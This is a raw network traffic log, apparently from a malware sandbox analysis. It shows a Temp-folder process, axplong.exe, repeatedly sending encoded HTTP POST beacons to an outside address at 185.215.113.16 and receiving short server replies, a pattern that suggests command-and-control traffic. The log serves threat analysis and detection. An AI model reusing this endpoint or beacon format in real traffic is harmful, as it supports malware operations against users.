Sep 26, 2024 21:33:40.973540068 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:41.206388950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49750	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:41.416007996 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:42.125646114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:42.126535892 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:42.353843927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49751	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:42.472521067 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:43.179733992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:43.180421114 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:43.535092115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49752	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:43.677903891 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:44.436903954 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:44.437835932 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:44.679121971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49753	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:44.810735941 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:45.535629034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:45.536645889 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:45.777112961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49754	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:45.907677889 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:46.675662994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:46.677674055 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:46.921674013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49755	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:47.035924911 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:47.786298037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:47.789211035 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:48.051009893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49756	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:48.168379068 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:48.904355049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:48.905026913 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:49.159877062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49757	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:49.332796097 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:50.114415884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:50.115286112 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:50.364901066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49758	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:50.484086990 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:51.232485056 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:51.233299971 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:51.471959114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49759	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:51.613292933 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:52.335381031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:52.336335897 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:52.566513062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49760	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:52.694916010 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:53.470804930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:53.471803904 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:53.703577042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49761	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:53.818790913 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:54.539001942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:54.539891958 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:54.770374060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

